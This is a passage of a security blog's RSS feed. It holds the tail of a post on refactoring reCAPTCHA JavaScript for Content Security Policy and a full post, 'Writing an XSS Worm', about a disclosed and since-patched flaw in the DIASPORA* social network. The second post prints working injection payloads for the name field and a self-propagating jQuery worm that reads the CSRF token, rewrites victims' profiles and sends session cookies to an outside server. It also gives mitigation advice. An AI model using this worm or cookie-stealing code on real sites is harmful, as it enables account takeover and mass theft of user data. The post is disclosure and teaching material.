&lt;p&gt;As it turns out, the changes to&amp;nbsp;&lt;em class="Apple-style-span" style="font-style: italic;"&gt;recaptcha_ajax.js&amp;nbsp;&lt;/em&gt;required are very minimal and self-contained in that single JS file. Once updated, all we needed to do was load the &amp;nbsp;re-factored JS file from our server instead of remotely from the Google servers. Let&amp;rsquo;s take a close look at what was changed. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Inline Event Handler Definitions&lt;br /&gt;&lt;/strong&gt;Many of the reCAPTCHA HTML elements use in-line handler definitions for the onclick event. In order to comply with CSP, the handler definition must be rewritten in terms of addEventListener as shown below (the &amp;ldquo;a&amp;rdquo; function is used to dynamically generate an HTML &amp;ldquo;a&amp;rdquo; tag with the specified ID). Very easy.&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;Before:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; a(&amp;ldquo;recaptcha_whatsthis_btn&amp;rdquo;).onclick = function () {&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Recaptcha.showhelp(); return&amp;nbsp;!1};&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;After:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; document.getElementById(&amp;ldquo;recaptcha_whatsthis_btn&amp;rdquo;).addEventListener(&amp;lsquo;click&amp;rsquo;, function () {Recaptcha.showhelp(); return&amp;nbsp;!1});&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Inline Script within HREF Attributes&lt;br /&gt;&lt;/strong&gt;reCAPTCHA uses a custom function to dynamically build certain document elements. The last argument for one of these functions (named c) is assigned to the HREF attribute of the element, which in some cases includes JavaScript. For these cases, the function call was modified to remove the last argument, and instead bind the argument value programmatically to the onclick event (using addEventListener as in the previous example). &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;Before:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; c(&amp;ldquo;recaptcha_reload&amp;rdquo;, &amp;ldquo;refresh&amp;rdquo;, &amp;ldquo;refresh_btn&amp;rdquo;, &amp;ldquo;javascript:Recaptcha.reload();&amp;rdquo;);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;After:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; c(&amp;ldquo;recaptcha_reload&amp;rdquo;, &amp;ldquo;refresh&amp;rdquo;, &amp;ldquo;refresh_btn&amp;rdquo;);&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; document.getElementById(&amp;ldquo;recaptcha_reload_btn&amp;rdquo;).addEventListener(&amp;lsquo;click&amp;rsquo;, function () {Recaptcha.reload()});&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong class="Apple-style-span" style="font-weight: bold;"&gt;Use of String-to-Code in Function Calls&amp;nbsp;&lt;br /&gt;&lt;/strong&gt;Some JavaScript functions, like eval() for example, allow you to specify a function as input or alternatively let you pass string content that will get treated and executed as code (often referred to as string-to-code). Passing a string argument to any of these functions (eval, setinterval, etc) requires the unsafe-eval directive, which is definitely something we do not want to allow. In this case, as shown below, the code is relatively painless to convert since the string value is not dynamic in nature. This was the simplest change of all. &amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;Before:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; Recaptcha.timer_id = setInterval(&amp;lsquo;Recaptcha.reload(&amp;ldquo;t&amp;rdquo;);&amp;rsquo;, a);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="Apple-style-span"&gt;After:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic;"&gt;&amp;nbsp; &amp;nbsp; Recaptcha.timer_id = setInterval(function(){ Recaptcha.reload(&amp;ldquo;t&amp;rdquo;) }, a);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;By changing those three subtle patterns, we were able to safely run the reCaptcha AJAX API without loosening our CSP. We welcome anyone in the same boat to leverage our re-factored JS code to run reCAPTCHA with CSP on your own site. As mentioned, we attempted to contact the reCAPTCHA team at Google during this effort with no success. Hopefully our changes will one day get reflected in the ReCaptcha AJAX API code.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=3WGKMziKeb0:YSj1NOe7NAI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=3WGKMziKeb0:YSj1NOe7NAI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=3WGKMziKeb0:YSj1NOe7NAI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=3WGKMziKeb0:YSj1NOe7NAI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-33713698.xml</wfw:commentRss><feedburner:origLink>http://blog.gdssecurity.com/labs/2013/5/14/retrofitting-code-for-content-security-policy.html</feedburner:origLink></item><item><title>Writing an XSS Worm</title><category>Application Security</category><category>XSS</category><category>XSS worm</category><dc:creator>Kevin Chung</dc:creator><pubDate>Wed, 08 May 2013 13:00:12 +0000</pubDate><link>http://feedproxy.google.com/~r/GdsSecurityBlog/~3/YP8JntB62Pg/writing-an-xss-worm.html</link><guid isPermaLink="false">936190:11268292:32916009</guid><description>&lt;p&gt;User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can&amp;rsquo;t take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.&lt;/p&gt;
&lt;p&gt;Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user&amp;rsquo;s profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.&lt;/p&gt;
&lt;p&gt;To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user&amp;rsquo;s name as it is rendered un-encoded back on the the user&amp;rsquo;s profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; window.current_user_attributes = {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;id&amp;#8221;: 3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;guid&amp;#8221;: &amp;#8220;5a2d8a950e39165e&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;name&amp;#8221;: &amp;#8220;Kevin Chung&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;diaspora_id&amp;#8221;: &amp;#8220;superduper@localhost:3000&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;avatar&amp;#8221;: {&lt;br /&gt;&amp;hellip;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Normal Profile Data&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;In searches and the user&amp;rsquo;s public profile page, their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability. &amp;nbsp;&lt;br /&gt;&lt;br /&gt;DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to &amp;lt;/script&amp;gt;&amp;lt;script&amp;gt; and our last name to alert(0)&amp;lt;/script&amp;gt; which would achieve the a mostly boring, standard XSS testing payload.&amp;nbsp; You&amp;rsquo;ll notice that the first name starts with a &amp;lt;/script&amp;gt; which closes out the original start tag and then begins its own script tag. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&amp;lt;script&amp;gt;&lt;br /&gt;//&amp;lt;![CDATA[&lt;br /&gt;Mentions.options.prefillMention = Mentions._contactToMention({&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;id&amp;#8221;: 3,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;guid&amp;#8221;: &amp;#8220;927643f9c89784b1&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;name&amp;#8221;: &amp;#8220;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt; alert(0)&amp;lt;/script&amp;gt;&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;avatar&amp;#8221;: &amp;#8220;/assets/user/default.png&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;handle&amp;#8221;: &amp;#8220;jedi_guy@localhost:3000&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;#8220;url&amp;#8221;: &amp;#8220;/people/927643f9c89784b1&amp;#8221;&lt;br /&gt;});&lt;br /&gt;//]]&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Profile with XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;Instead of just alerts, we can give ourselves a much larger space to work with by using &amp;lt;/script&amp;gt;&amp;lt;script src= as our first name and //goo.gl/AAAAA&amp;lt;/script&amp;gt; as our last name. The goo.gl URL should point to a JavaScript file of our choosing.&amp;nbsp; Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.&lt;/p&gt;
&lt;p&gt;If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;$(&amp;#8216;html&amp;#8217;).hide();&lt;br /&gt;&lt;br /&gt;if(window.location.pathname == &amp;#8216;/profile/edit&amp;#8217;){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;window.location=&amp;#8221;/404&amp;#8221;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else if(window.location.pathname.substr(1,2) == &amp;#8216;u/&amp;#8217; || window.location.pathname.substr(1,6) == &amp;#8216;people&amp;#8217;){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;var first = $(&amp;#8216;.find&amp;#8217;).prev().html();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;var second = $(&amp;#8216;.find&amp;#8217;).next().html();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;eval(first +&amp;#8221;You&amp;#8217;re Owned&amp;#8221;+ second);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;else{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;var intervalID = setInterval(function(){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var first = $(&amp;#8216;.find&amp;#8217;).prev().html();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var second = $(&amp;#8216;.find&amp;#8217;).next().html();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;eval(first +&amp;#8221;You&amp;#8217;re Owned&amp;#8221;+ second);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;},5);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$(document).ready(function(){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;window.clearInterval(intervalID);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$(&amp;#8216;.message&amp;#8217;).hide();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$(&amp;#8216;html&amp;#8217;).show();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$(document.createElement(&amp;#8216;img&amp;#8217;)).attr({&amp;#8216;src&amp;#8217; : &amp;#8216;http://localhost/diaspora.php?cookie=&amp;#8217;+document.cookie});&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;deploy(&amp;#8216;//goo.gl/AT64G&amp;#8217;);&lt;br /&gt;&lt;br /&gt;function deploy(payload){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$.get(&amp;#8216;/profile/edit&amp;#8217;, function(data) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var first_name = $(&amp;#8216;#profile_first_name&amp;#8217;,data).val();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var last_name = $(&amp;#8216;#profile_last_name&amp;#8217;,data).val();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (first_name == &amp;#8216;&amp;lt;/script&amp;gt;&amp;lt;script class=&amp;#8221;find&amp;#8221; src=&amp;#8217;)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;return;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var utf = $(&amp;#8216;input[name=&amp;#8221;utf8&amp;#8221;]&amp;#8217;, data).text();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var authenticity_token = $(data).filter(&amp;#8216;meta[name=&amp;#8221;csrf-token&amp;#8221;]&amp;#8217;).attr(&amp;#8220;content&amp;#8221;);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var bio = $(&amp;#8216;#profile_bio&amp;#8217;,data).html();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var loc = $(&amp;#8216;#profile_location&amp;#8217;,data).val();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var gen = $(&amp;#8216;#profile_gender&amp;#8217;,data).val();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var year = $(&amp;#8216;#profile_date_year&amp;#8217;, data).find(&amp;#8220;:selected&amp;#8221;).text();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (year == &amp;#8216;Year&amp;#8217;)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;year = &amp;#8221;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var month = $(&amp;#8216;#profile_date_month&amp;#8217;, data).find(&amp;#8220;:selected&amp;#8221;).text();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (month == &amp;#8216;Month&amp;#8217;)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;month = &amp;#8221;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var day = $(&amp;#8216;#profile_date_day&amp;#8217;, data).find(&amp;#8220;:selected&amp;#8221;).text();&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (day == &amp;#8216;Day&amp;#8217;)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;day = &amp;#8221;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var tags = data.search(&amp;#8216;var data&amp;#8217;) + 25;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;var tags_end = data.search(&amp;#8216;autocompleteInput&amp;#8217;) - 15;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;tags_end = jQuery.parseJSON(data.slice(tags, tags_end));&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;tags = &amp;#8216;,&amp;#8217;;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;for( key in tags_end){&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;tags += tags_end[key].value + &amp;#8216;,&amp;#8217;;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$.post(&amp;#8220;/profile&amp;#8221;, &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;utf8&amp;#8217;: &amp;#8220;&amp;amp;#x2713;&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;_method&amp;#8217;: &amp;#8216;put&amp;#8217;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;authenticity_token&amp;#8217;: authenticity_token,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[first_name]&amp;#8217;: &amp;#8220;&amp;lt;/script&amp;gt;&amp;lt;script class=&amp;#8221;find&amp;#8221; src=&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[last_name]&amp;#8217;: payload+&amp;#8221;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[tag_string]&amp;#8217;: &amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;tags&amp;#8217;: tags,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;file&amp;#8217;: &amp;#8221;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[bio]&amp;#8217;: bio,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[location]&amp;#8217;: loc,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[gender]&amp;#8217;: gen,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[date][year]&amp;#8217;: year,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[date][month]&amp;#8217;: month,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[date][day]&amp;#8217;: day,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;profile[searchable]&amp;#8217;: &amp;#8216;true&amp;#8217;,&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#8216;commit&amp;#8217;: &amp;#8216;Update Profile&amp;#8217;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;});&lt;br /&gt;}&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Exploit Code&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.&lt;br /&gt;&lt;br /&gt;Now that we&amp;rsquo;ve begun spreading ourselves through DIASPORA* we could capitalize upon what we have accessible. DIASPORA* allows users to download their photos and an XML file containing their data (posts, contacts, messages, profile information, and a GPG key pair). We can have JavaScript send the user&amp;rsquo;s cookies to a server as DIASPORA* makes no use of the HTTPOnly flag for their session cookie.&amp;nbsp; If HTTPOnly was enabled it wouldn&amp;rsquo;t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it. &lt;br /&gt;&lt;br /&gt;In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Additionally, HTTPOnly should be on all cookies not required to be accessed by JavaScript. This is not a cure all, as it is still possible to submit queries through XSS riding on the valid session stored in the cookie without stealing it. &amp;nbsp;&lt;br /&gt;While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.&lt;br /&gt;&lt;br /&gt;This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=YP8JntB62Pg:tvn6N3qXPy0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=YP8JntB62Pg:tvn6N3qXPy0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?i=YP8JntB62Pg:tvn6N3qXPy0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/GdsSecurityBlog?a=YP8JntB62Pg:tvn6N3qXPy0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/GdsSecurityBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
